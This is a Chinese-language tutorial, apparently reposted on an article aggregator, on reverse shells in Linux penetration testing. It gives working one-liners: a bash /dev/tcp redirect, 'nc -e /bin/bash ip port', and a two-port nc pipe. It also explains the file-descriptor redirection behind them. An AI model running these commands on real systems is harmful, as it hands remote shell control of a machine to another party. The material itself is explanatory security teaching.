LINUX shell反弹篇(一)

这篇具有很好参考价值的文章主要介绍了LINUX shell反弹篇(一)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

我们有时候在渗透测试中,经常会反弹shell一次来进行会话,从而提权或者寻找信息,今天就总结一下在linux上反弹shell的几种方法及原理。

测试环境:

kali、centos

一、bash反弹:

在kali机上监听端口:

nc -lvp 7777

在 centos上使用:

bash -i >& /dev/tcp/ip/port 0>&1 //ip就是反弹到开启监听的机器,port就是监听的端口号

这条命令我也在网上查了很多资料,总结了一下

bash -i 就是打开一个bash

>&符号定义:

当>&后面跟着文件时,就表示为将标准输出和标准错误输出到重定向的文件也就是监听端上。

当>&后面跟着文件标识符时,就表示将前面的文件描述符重定向到后面的文件描述符。

标准输入:stdin 代码为“0”,使用<或<<

标准输出:sudout 代码为“1”,使用>或>>

标准错误输出:stderr 代码为“2”,使用2>或2>>

因为Linux发行版本不一样,所以也会导致在一些系统上并不能使用

/dev/tcp 该文件时liux中一个特殊的文件并不真实存在,使用这个文件的目的就是建立一个socket连接,我们可以通过结合上面的符号来实现基于tcp和udp协议的通讯,所以也有/dev/udp,上面的ip也可以域名,如果建立连接成功,则会在/proc/self/fd下出现对应的文件。

最后需要注意的是,这是一个bash的feature,在使用的时候注意shell的类型。

我们来看一下实际操作中符号的具体意义:

linux 反弹shell显示未找到文件,linux,运维,服务器,web安全,安全

linux 反弹shell显示未找到文件,linux,运维,服务器,web安全,安全

 如上图,>&这个命令的结果就是在终端输入并不会显示,而这些输入的标准输出和标准错误输出结果会在监听端显示。但监听端并不能执行命令,只能接收在centos上输入命令的返回结果。

此时我们在后面加上 0>&1的命令

linux 反弹shell显示未找到文件,linux,运维,服务器,web安全,安全

 linux 反弹shell显示未找到文件,linux,运维,服务器,web安全,安全

 此时我们已经重定向到监听机上了,该符号代表的是将标准输入重定向到标准输出,标准输出已经在监听机上了,所以现在监听机上可以进行输入和显示输出信息。

linux 反弹shell显示未找到文件,linux,运维,服务器,web安全,安全

二、nc反弹

这中方法需要centos上安装nc,kali机上自带的有。

centos下载命令:

yum -y install nc

 现在kali上面开启监听:

nc -lvp 7777

 在centos上使用nc反向连接:

nc -e /bin/bash ip port

 -e的命令就是连接后去执行后面的命令,就是执行一个shell脚本

还有一种情况当-e不能使用的话,可以使用另一种方法;

在kali开启两个监听端口,然后在centos上使用命令:

nc ip port1|/bin/bash|nc ip port2

首先是连接到第一个端口进行通讯,然后把通信的内容通过管道符放到/bin/bash解释器中,在把结果输出到第二个端口上。一个用来输入命令,一个用来看返回结果。

linux 反弹shell显示未找到文件,linux,运维,服务器,web安全,安全

linux 反弹shell显示未找到文件,linux,运维,服务器,web安全,安全 

 因为-e太危险大部分都去掉了。文章来源地址https://www.toymoban.com/news/detail-553372.html

到了这里,关于LINUX shell反弹篇(一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • linux中用shell脚本定时备份重要日志等文件【命令结果输出也在内。按月份自动创建时间自动规划到月份中】、linux中用shell脚本备份文件并自动scp汇总到一个服务器上

    现在甲方有一个需求:要求每月备份系统日志 问题: 1、有37台服务器需要备份且汇总到一

    2024年02月19日
    浏览(59)
  • Linux运维之shell基础

    基本语法: 注意事项: ①[ 条件判断式 ],中括号和条件判断式之间必须有空格 ②if 后要有空格 例如,现在写一个if.sh脚本文件 基本语法: 注意事项: (1)case 行尾必须为单词“in”,每一个模式匹配必须以右括号“)”结束。 (2)双分号“;;”表示命令序列结束,相当于

    2024年02月02日
    浏览(58)
  • Linux运维之初识shell

    系统定时任务需要用到 crontab 命令,但是使用此命令有一个前提,即需要打开 crond 服务。为了不那么复杂,可以直接使用我之前学的 systemctl 命令重新启动 crond 服务。 语法:``crontab [-e -l -r] ` 选项:-e 编辑crontab定时任务;-l 查询系统crontab任务;-r 删除当前用户的所有cronta

    2023年04月27日
    浏览(41)
  • 中间件安全:Apache Tomcat 弱口令.(反弹 shell 拿到服务器的最高控制权.)

    Tomcat  是 Apache 软件基金会(Apache Software Foundation)的 Jakarta 项目中的一个核心项目,由 Apache、Sun 和其他一些公司及个人共同开发而成。 通过弱口令登录后台,部署 war 包 geshell . 中间件安全:Apache Tomcat 弱口令. Apache Tomcat 弱口令: 靶场准备:Web安全:Vulfocus 靶场搭建.(漏

    2024年02月05日
    浏览(65)
  • 【运维工程师学习三】Linux中Shell脚本编写

    Shell程序有很多, 如 Korn shell(ksh)、Bourne Again shell(bash)、C shell(包括csh与tcsh) 等等, 各主要操作系统下缺省的shell: AIX下是 Korn Shell Solaris缺省的是 Bourne shell FreeBSD缺省的是 C shell HP-UX缺省的是 POSIX shell Linux缺省的是 Bourne Again shell 但这种在命令行中的命令是即时输出结果的,不

    2024年02月11日
    浏览(71)
  • 运维 | 查看 Linux 服务器 IP 地址

    大多数在操作 Linux 系统时,我们经常需要知道服务器的 IP 比便于后续的一系列操作,这时候有快速查看主机 IP 的命令行操作,能够有效的帮助我们 本章节主要记录一些常用查看服务器 IP 的命令,希望对大家有所帮助。 查看 Linux 服务器的 IP 地址的命令大体上有以下几种。

    2024年04月27日
    浏览(81)
  • Linux 问题 2. set -- 显示或设置 shell 特性及 shell 变量

    ^M是windos的dos文件格式特有的换行符,在linux上你可以通过   cat -A 文件名    看到这些隐藏字符。  解决方法:  如果需要转换,我们只需要转换文件格式即可。你可以选择直接在服务器上调整。包括如下三种方式。 (1)使用linux命令dos2unix filename,直接把文件转换为uni

    2024年02月07日
    浏览(41)
  • Linux 问题 2. set -- 显示或设置 shell 特性及 shell 变量

    ^M是windos的dos文件格式特有的换行符,在linux上你可以通过   cat -A 文件名    看到这些隐藏字符。  解决方法:  如果需要转换,我们只需要转换文件格式即可。你可以选择直接在服务器上调整。包括如下三种方式。 (1)使用linux命令dos2unix filename,直接把文件转换为uni

    2024年02月07日
    浏览(49)
  • Linux上,执行git clone url , 显示“-bash: git: 未找到命令”,解决办法?

    解决办法:是安装git命令;但是在安装git命令之前,需要先启用EPEL存储库。 一.先启用EPEL存储库 如果没有安装 get(x32)或 wget (x64),需要提前安装下; 系统位数不同命令也会有所差异,下面将以CentOS 7 x32/x64 位为例: RHEL/CentOS 7 x32位执行以下命令: 执行命令: RHEL/CentOS 7

    2024年02月08日
    浏览(49)
  • Linux&Shell--多服务器自动登录连接

    sshpass 是一个命令行工具,用于自动化SSH密码认证。它通常在脚本或自动化任务中使用,其中您需要提供密码以建立SSH连接,而无需用户干预。可以直接将密码作为命令行参数或通过文件提供,以便在建立SSH连接时自动输入密码。这对于需要自动化处理SSH连接的任务非常有用

    2024年02月03日
    浏览(60)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包